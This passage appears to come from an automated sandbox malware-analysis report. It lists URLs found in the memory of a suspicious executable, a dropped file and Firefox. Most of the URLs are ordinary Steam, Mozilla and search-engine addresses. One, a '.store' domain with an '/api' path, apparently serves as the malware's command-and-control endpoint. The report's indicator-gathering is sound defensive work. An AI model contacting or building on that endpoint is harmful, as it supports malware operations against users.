Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/s
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1493028157.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/sh
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180590726.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: 8138ba21a1.exe, 00000012.00000003.2180590726.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/cssvsT
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1493028157.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/pun
Source: firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F73F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001D.00000002.2175868045.000001C96836D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2277444887.000001C96F08A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F258000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2051677031.00000000059A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2041476436.000001C96F758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001D.00000002.2122168164.000001C957211000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2122168164.000001C957230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001D.00000003.2074345700.000001C968996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/api
Source: firefox.exe, 0000001D.00000002.2300171636.000001C96F54B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2094028920.000001C9686CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C96884F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C9688AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2110617616.000001C9686CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2112334104.0000003BA85D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963443000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
